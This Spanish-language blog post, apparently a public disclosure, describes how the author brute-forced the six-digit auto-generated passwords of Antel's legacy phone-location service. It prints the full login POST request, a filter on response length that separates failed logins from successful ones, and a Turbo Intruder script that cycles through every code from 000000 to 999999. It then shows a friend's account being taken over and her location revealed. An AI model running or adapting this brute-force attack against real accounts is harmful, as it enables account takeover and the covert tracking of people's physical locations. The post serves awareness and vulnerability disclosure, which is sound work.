Antel 13 años exponiendo la ubicación de todos sus usuarios.

Antel ubicación

Seguridad

Santiago Hernandez | Hola red, ¿cómo están? Espero que bien!

Hace un par de días estaba navegando en Instagram y vi una publicación de una persona que había perdido su celular.

Lo que me hizo pensar si más allá de las opciones clásicas que conocemos (Find My Device en Android o Find My en iPhone) hay alguna otra forma de saber cual es la ubicación de un teléfono.

Muchos hemos visto en películas como las operadoras de telefonía móvil en algunos casos pueden aproximar la localización de un teléfono triangulando la señal con sus antenas, esta aproximación dependiendo de los datos obtenidos y de la localización de las antenas puede llegar a ser muy precisa.

1*GxLhw PKw2jFDV68oKezKw - Antel 13 años exponiendo la ubicación de todos sus usuarios.

Esto me hizo pensar.. Antel puede hacer esto? Quizás si.

Investigando un poco y para mi sorpresa me encontré con el siguiente sitio
http://www.encuentra.antel.com.uy

1*xtxEWpkDurxlGVSpXNNbDg - Antel 13 años exponiendo la ubicación de todos sus usuarios.

Por la impresión que me da, es un servicio olvidado dentro del sistema de Antel. Notamos como la presentación se ve vieja, el plugin del cabezal de página ya no funciona y en el pie de página se puede leer la fecha 2008, la cual parece ser la última vez que actualizaron este servicio.

Para ponernos en contexto que pasaba en 2008, hace unos meses había salido el primer iPhone, internet en los teléfonos móviles era muy precario y no estaba al acceso de todos. Es ahí donde este servicio quizás hacía sentido. Pude conseguir la siguiente captura de pantalla, esta información aún está publicada en el servicio.

1*eN66hv67o08SOMg2b8WstQ - Antel 13 años exponiendo la ubicación de todos sus usuarios.

Sin dudas un servicio muy interesante para la época! No tuve la oportunidad de conocerlo, pero quizás alguno de ustedes llegó a utilizarlo alguna vez. No sé con certeza cómo les fue con este proyecto, si alguien lo utiliza hasta hoy en día, o si solo fue una idea innovadora que quedó en el olvido, pero por lo que vemos sigue en pie de alguna manera.

1*NycBne6wbWHRHw7qZsDE8g - Antel 13 años exponiendo la ubicación de todos sus usuarios.

Al intentar ingresar nos pide un numero de telefono y una clave.
Como desconozco cual es mi clave en este servicio o si existe alguna clave general para todos los servicios de Antel, voy directamente a “Has olvidado tu contraseña”.

1*bHNZJpZ1LhWhjhMU3OiLew - Antel 13 años exponiendo la ubicación de todos sus usuarios.

Al ingresar tu número en la casilla y solicitar una nueva contraseña, te llega el siguiente mensaje de texto:

1*IjhFbiHy5ma35ciUSQHe A - Antel 13 años exponiendo la ubicación de todos sus usuarios.

Es importante destacar en este punto como cualquier persona que posea nuestro número de teléfono puede solicitar que nos renueven la contraseña desde la web. También hay que destacar que la complejidad de la misma es muy débil, en este caso todas las combinaciones posibles están conformadas por números de 6 dígitos. Por lo que las contraseñas posibles para un usuario están dentro de este rango [000000–999999].

Adentrándonos en la aplicación, en el siguiente GIF se ve como funciona el flujo para consultar en donde se encuentra una persona. Hay muchas opciones disponibles, podemos buscar un amigo, un lugar de interés cercano, etc.

Pero a continuación nos vamos a centrar en el flujo que nos dice en donde estoy YO (o el supuesto “YO”).

1*FaBVGRs5Xi1dPWlNr4Nh0Q - Antel 13 años exponiendo la ubicación de todos sus usuarios.

Podemos ver que ya tenemos nuestro resultado.

1*fn0fcCIybHr6r8ctqJC7FA - Antel 13 años exponiendo la ubicación de todos sus usuarios.

Si comparamos mi ubicación real medida por GPS (circunferencia azul) y mi ubicación triangulada por Antel (rectángulo amarrilo), podemos ver que esta acierta con mucha precisión.

1*W6sUlGLrttHeFGfcGiPEPw - Antel 13 años exponiendo la ubicación de todos sus usuarios.

Ahora que ya entendemos como funciona, me pregunto:
¿Cómo puedo hacer para saber la ubicación de alguien que no sea YO?
¿Se puede burlar este sistema?

La respuesta es: Sí.

Tenemos que “engañar” al sistema para acceder con las credenciales de otra persona.

Ya sabemos que para ingresar necesitamos un número de teléfono y una contraseña autogenerada la cual es muy débil.

Analizando la consulta enviada por la web, vemos cómo esta viaja en un POST. Nuestro número de teléfono y contraseña está en el body del mensaje en los parámetros msisdn y password respectivamente.

- Antel 13 años exponiendo la ubicación de todos sus usuarios.
Captura de la consulta al momento de iniciar sesión

En cuanto a la respuesta, tenemos dos posibles escenarios.

  • Cuando acertamos la contraseña la respuesta es 302.
- Antel 13 años exponiendo la ubicación de todos sus usuarios.
Captura de la respuesta al momento de iniciar sesión exitosamente

Cuando la contraseña que pasamos en el parámetro es errónea, la respuesta es 200 y esto nos vuelve a cargar la página inicial. Esta tiene un Content-Length: 7249, información que vamos a usar más adelante.

- Antel 13 años exponiendo la ubicación de todos sus usuarios.
Captura de la respuesta al momento de no lograr iniciar sesión

Ya podemos ponernos a pensar que necesitamos encontrar un caso favorable dentro del millón de casos posibles. La probabilidad de que esto ocurra de un solo acierto es muy baja.

Pero, ¿qué pasa si hacemos un millón de consultas? Nuestra probabilidad es 100%. Para poder explotar esta idea, necesitamos que el servidor que nos responde no tenga un rate limit configurado.

Al testear si el servidor rechaza las consultas en algún punto, llegue a la conclusión de que no tenemos rate limit, por lo que podemos intentar un ataque de fuerza bruta contra el parámetro de password en la consulta.

Para este caso voy a utilizar BurpSuite + Turbo Intruder

Esta es la consulta que va a ser nuestro template, voy a usar un numero de una amiga y vamos a descubrir en dónde está para este ejemplo. %s sera nuestra variable, en donde vamos a poner nuestro rango de valores.

POST /Twiga/WebServer HTTP/1.1
Host: www.encuentra.antel.com.uy
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 106
Origin: http://www.encuentra.antel.com.uy
Connection: close
Referer: http://www.encuentra.antel.com.uy/
Cookie: JSESSIONID=A02A997E0D40B01DE491B999D210EEA6
Upgrade-Insecure-Requests: 1twigaAction=loginUser&serviceName=FAF+ANCEL&languageCode=es&msisdn=092041767&password=%s&Submit=Entrar

Con el siguiente script configuramos Turbo Intruder para utilizar todos los valores desde 000000 hasta 999999 y estos van a ser uno a uno intercambiados en la consulta de arriba.


def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=80,
requestsPerConnection=50,
pipeline=False
)for number in range(000000,999999):
engine.queue(target.req, str(number))def handleResponse(req, interesting):
table.add(req)

En la siguiente imagen vemos como el ataque está en proceso, todas las consultas van quedando registradas en nuestra tabla.

1*x2M5652njoHdaGOhzfPRjg - Antel 13 años exponiendo la ubicación de todos sus usuarios.
Captura de pantalla de BurpSuite + Turbo Intruder

Para filtrar las respuestas que tenemos en la tabla, podemos editar el script y agregarle un filtro para que solo aparezca la respuesta que necesitamos con la password válida

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=80,
requestsPerConnection=50,
pipeline=False
)for number in range(000000,999999):
engine.queue(target.req, str(number))def handleResponse(req, interesting):
if not ‘Content-Length: 7249’ in req.response:
table.add(req)

Ahora solos nos queda esperar.. a mi me costó 15min

En la siguiente imagen vemos el 302 filtrado de nuestras respuestas y es el numero que estábamos buscando! 330573

1*1o4RnQT8ZxsBPMc2aJr rA - Antel 13 años exponiendo la ubicación de todos sus usuarios.
Captura de pantalla de BurpSuite + Turbo Intruder al encontrar el numero correcto

Podemos repetir el flujo en la web como si fuéramos el usuario legitimo y encontrar la ubicación de esta persona.

1*XkDrC2 glnLQ3QRPonuVVw - Antel 13 años exponiendo la ubicación de todos sus usuarios.
Ubicación de la víctima

Efectivamente nuestra amiga estaba en esa zona!

Posiblemente luego de publicar este blog, Antel resuelva este error de al menos 13 años en un par de minutos. Quizás incluso este sea el fin de este servicio.

Ahora solo queda por preguntarse si en todo este tiempo fui la primera persona en encontrar esto o hay alguien mas que lo sabe. Alguien que quizás ha estado desde 2008 buscando a cualquiera, analizando nuestros movimientos y vendiendo nuestra información a terceros.

Quizás fue esa vez que dijiste “¿cómo sabía que yo estaba acá?”

Esta es una falta muy grave a nuestra privacidad, y cómo estas hay miles.

Nuestros datos valen mucho, tenemos que tomar conciencia, cuidarlos y sobre todo exigir a las empresas que los manejan que los cuiden.

No es la primera vez que intento notificar estos errores a los entes estatales. No hay nadie que atienda personalmente solo existen casillas de correos (contacto@cert.uy, csirt@csirt-antel.com.uy, … ) que parecen terminar en /dev/null (un ajugero negro), jamas nadie responde. Aunque a veces con un poco de suerte al tiempo estos errores se “arreglan solos” sin dar aviso.

El motivo de este blog es dar conciencia a los usuarios y motivar a aquellos que están comenzando en el mundo de la seguridad informática, hay muchas vulnerabilidades más por encontrar!

Muchas gracias por llegar hasta acá.

Saludos!

Comenta

Recomendado.

Acerca de Pablo 4165 Articles
Software Developer